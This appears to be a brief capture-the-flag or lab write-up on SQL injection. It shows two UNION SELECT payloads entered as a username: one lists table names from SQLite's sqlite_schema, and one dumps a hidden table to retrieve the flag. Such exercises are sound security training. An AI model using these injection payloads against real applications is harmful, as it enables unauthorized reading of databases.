Skip to content

Exploration

In this lab, we need to find the hidden table.

First, we can use the following payload to find the table names in the sqlite_schema:

Find all table names
admin' UNION SELECT name from sqlite_schema where type="table"-- -

Now, to get the flag we can use the following payload:

Final payload
admin' UNION SELECT * from 'H!dd3n_t4bl3'-- -